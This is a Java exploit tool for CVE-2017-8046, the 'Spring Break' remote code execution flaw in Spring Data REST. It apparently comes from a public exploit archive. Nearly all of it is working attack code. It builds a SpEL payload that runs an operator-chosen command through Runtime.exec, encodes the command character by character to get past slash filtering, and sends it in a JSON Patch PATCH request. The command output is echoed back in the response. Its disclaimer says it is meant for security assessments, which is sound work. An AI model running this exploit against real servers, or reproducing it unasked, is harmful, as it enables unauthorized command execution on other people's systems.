// Exploit Title: RCE in PATCH requests in Spring Data REST// Date: 2018-03-10// Exploit Author: Antonio Francesco Sardella// Vendor Homepage: https://pivotal.io/// Software Link: https://projects.spring.io/spring-data-rest/// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'// CVE: CVE-2017-8046// Category: Webapps// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.compackagecom.afs.exploit.spring;importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStreamReader;importjava.net.URI;importjava.net.URISyntaxException;importorg.apache.http.HttpResponse;importorg.apache.http.client.HttpClient;importorg.apache.http.client.methods.HttpPatch;importorg.apache.http.entity.StringEntity;importorg.apache.http.impl.client.HttpClientBuilder;/**
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
* This software is written to have as less external dependencies as possible.
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
* ..................
* . CVE-ID ........: CVE-2017-8046
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
* .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
* .................. Java code.
* ..................
*
* @author Antonio Francesco Sardella
*/publicclassSpringBreakCve20178046{/**
* Version string.
*/privatestaticfinalStringVERSION="v1.0 (2018-03-10)";/**
* The JSON Patch object.
*/privatestaticStringJSON_PATCH_OBJECT="[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";/**
* This is a way to bypass the split and 'replace'
* logic performed by the framework on slashes.
*/privatestaticStringSLASH="T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";/**
* Used to encode chars.
*/privatestaticStringCHAR_ENCODING="T(java.lang.Character).toChars(%d)[0]";/**
* Malicious payload.
*/privatestaticStringPAYLOAD;/**
* Malicious payload initialization.
*/static{PAYLOAD="T(org.springframework.util.StreamUtils).copy(";PAYLOAD+="T(java.lang.Runtime).getRuntime().exec(";PAYLOAD+="(";PAYLOAD+="T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";PAYLOAD+="?";PAYLOAD+="\\\"cmd \\\"+"+SLASH+"+\\\"c \\\"";PAYLOAD+=":";PAYLOAD+="\\\"\\\"";PAYLOAD+=")+";PAYLOAD+="%s";// The encoded command will be placed here.PAYLOAD+=").getInputStream()";PAYLOAD+=",";PAYLOAD+="T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";PAYLOAD+=".getResponse().getOutputStream()";PAYLOAD+=").x";}/**
* Error cause string that can be used to "clean the response."
*/privatestaticStringERROR_CAUSE="{\"cause";/**
* The target URL.
*/privateURI url;/**
* The command that will be executed on the remote machine.
*/privateString command;/**
* Cookies that will be passed.
*/privateString cookies;/**
* Flag used to remove error messages in output due to
* the usage of the exploit. It could hide error messages
* if the request fails for other reasons.
*/privateboolean cleanResponse;/**
* Verbosity flag.
*/privateboolean verbose;/**
* Default constructor.
*/publicSpringBreakCve20178046(){this.verbose =false;this.cleanResponse =false;}/**
* Performs the exploit.
*
* @throws IOException
* If something bad occurs during HTTP GET.
*/publicvoidexploit()throwsIOException{checkInput();printInput();String payload =preparePayload();String response =httpPatch(payload);printOutput(response);}/**
* Checks the input.
*/privatevoidcheckInput(){if(this.url ==null){thrownewIllegalArgumentException("URL must be passed.");}if(isEmpty(this.command)){thrownewIllegalArgumentException("Command must be passed.");}}/**
* Prints input if verbose flag is true.
*/privatevoidprintInput(){if(isVerbose()){System.out.println("[*] Target URL ........: "+this.url);System.out.println("[*] Command ...........: "+this.command);System.out.println("[*] Cookies ...........: "+(isEmpty(this.cookies)?"(no cookies)":this.cookies));}}/**
* Prepares the payload.
*
* @return The malicious payload that will be injected.
*/privateStringpreparePayload(){System.out.println("[*] Preparing payload.");String command =encodingCommand();// Encoding inserted command.String payload =String.format(PAYLOAD, command);// Preparing Java payload.
payload =String.format(JSON_PATCH_OBJECT, payload);// Placing payload into JSON Patch object.if(isVerbose()){System.out.println("[*] Payload ...........: "+ payload);}return payload;}/**
* Encodes the inserted command.
* PROS: No problems in interpreting things.
* CONS: Payload too long.
*
* @return The encoded command.
*/privateStringencodingCommand(){StringBuffer encodedCommand =newStringBuffer("T(java.lang.String).valueOf(new char[]{");int commandLength =this.command.length();for(int i =0; i < commandLength; i++){
encodedCommand.append(String.format(CHAR_ENCODING,(int)this.command.charAt(i)));if(i +1< commandLength){
encodedCommand.append(",");}}
encodedCommand.append("})");if(isVerbose()){System.out.println("[*] Encoded command ...: "+ encodedCommand.toString());}return encodedCommand.toString();}/**
* HTTP PATCH operation on the target passing the malicious payload.
*
* @param payload
*The malicious payload.
* @return The response as a string.
* @throws IOException
* If something bad occurs during HTTP GET.
*/privateStringhttpPatch(String payload)throwsIOException{System.out.println("[*] Sending payload.");// Preparing PATCH operation.HttpClient client =HttpClientBuilder.create().build();HttpPatch patch =newHttpPatch(this.url);
patch.setHeader("User-Agent","Mozilla/5.0");
patch.setHeader("Accept-Language","en-US,en;q=0.5");
patch.setHeader("Content-Type","application/json-patch+json");// This is a JSON Patch.if(!isEmpty(this.cookies)){
patch.setHeader("Cookie",this.cookies);}
patch.setEntity(newStringEntity(payload));// Response string.StringBuffer response =newStringBuffer();// Executing PATCH operation.HttpResponse httpResponse = client.execute(patch);if(httpResponse !=null){// Reading response code.if(httpResponse.getStatusLine()!=null){int responseCode = httpResponse.getStatusLine().getStatusCode();System.out.println("[*] HTTP "+ responseCode);}else{System.out.println("[!] HTTP response code can't be read.");}// Reading response content.if(httpResponse.getEntity()!=null&& httpResponse.getEntity().getContent()!=null){BufferedReader in =newBufferedReader(newInputStreamReader(httpResponse.getEntity().getContent()));String inputLine;while((inputLine = in.readLine())!=null){
response.append(inputLine);
response.append(System.getProperty("line.separator"));}
in.close();}else{System.out.println("[!] HTTP response content can't be read.");}}else{System.out.println("[!] HTTP response is null.");}return response.toString();}/**
* Prints output.
*
* @param response
*Response that will be printed.
*/privatevoidprintOutput(String response){if(!isEmpty(response)){System.out.println("[*] vvv Response vvv");// Cleaning response (if possible).if(isCleanResponse()&& response.contains(ERROR_CAUSE)){String cleanedResponse = response.split("\\"+ERROR_CAUSE)[0];System.out.println(cleanedResponse);}else{System.out.println(response);}System.out.println("[*] ^^^ ======== ^^^");}}/**
* Checks if an input string is null/empty or not.
*
* @param input
*The input string to check.
* @return True if the string is null or empty, false otherwise.
*/privatebooleanisEmpty(String input){boolean isEmpty;if(input ==null|| input.trim().length()<1){
isEmpty =true;}else{
isEmpty =false;}return isEmpty;}/* Getters and setters. */publicbooleanisVerbose(){return verbose;}publicvoidsetVerbose(boolean verbose){this.verbose = verbose;}publicvoidsetUrl(String url)throwsURISyntaxException{if(isEmpty(url)){thrownewIllegalArgumentException("URL must be not null and not empty.");}this.url =newURI(url.trim());}publicvoidsetCommand(String command){if(isEmpty(command)){thrownewIllegalArgumentException("Command must be not null and not empty.");}this.command = command.trim();}publicvoidsetCookies(String cookies){if(cookies !=null){
cookies = cookies.trim();}this.cookies = cookies;}publicbooleanisCleanResponse(){return cleanResponse;}publicvoidsetCleanResponse(boolean cleanResponse){this.cleanResponse = cleanResponse;}/**
* Shows the program help.
*/publicstaticfinalvoidhelp(){System.out.println("Usage:");System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");System.out.println("Description:");System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");System.out.println("Options:");System.out.println(" -h, --help");System.out.println("Prints this help and exits.");System.out.println(" -u, --url [target_URL]");System.out.println("The target URL where the exploit will be performed.");System.out.println("You have to choose an existent resource.");System.out.println(" -cmd, --command [command_to_execute]");System.out.println("The command that will be executed on the remote machine.");System.out.println(" --cookies [cookies]");System.out.println("Optional. Cookies passed into the request, e.g. authentication cookies.");System.out.println(" --clean");System.out.println("Optional. Removes error messages in output due to the usage of the");System.out.println("exploit. It could hide error messages if the request fails for other reasons.");System.out.println(" -v, --verbose");System.out.println("Optional. Increase verbosity.");}/**
* Main method.
*
* @param args
*Input arguments
*/publicstaticvoidmain(String[] args){try{System.out.println("'Spring Break' RCE (CVE-2017-8046) - "+VERSION);SpringBreakCve20178046 o =newSpringBreakCve20178046();if(args.length >0){for(int i =0; i < args.length; i++){String p = args[i];if(("-h".equals(p)||"--help".equals(p))&& i ==0){SpringBreakCve20178046.help();return;}elseif("-u".equals(p)||"--url".equals(p)){if(i +1> args.length -1){thrownewIllegalArgumentException("URL must be passed.");}
o.setUrl(args[++i]);}elseif("-cmd".equals(p)||"--command".equals(p)){if(i +1> args.length -1){thrownewIllegalArgumentException("Command must be passed.");}
o.setCommand(args[++i]);}elseif("--cookies".equals(p)){if(i +1> args.length -1){thrownewIllegalArgumentException("Cookies must be passed, if specified.");}
o.setCookies(args[++i]);}elseif("--clean".equals(p)){
o.setCleanResponse(true);}elseif("-v".equals(p)||"--verbose".equals(p)){
o.setVerbose(true);}}// Performing the exploit.
o.exploit();}else{// Wrong number of arguments.SpringBreakCve20178046.help();return;}}catch(URISyntaxException use){System.out.println("[!] Input error (URI syntax exception): "+ use.getMessage());}catch(IllegalArgumentException iae){System.out.println("[!] Input error (illegal argument): "+ iae.getMessage());}catch(Exception e){System.out.println("[!] Unexpected exception: "+ e.getMessage());
e.printStackTrace();}}}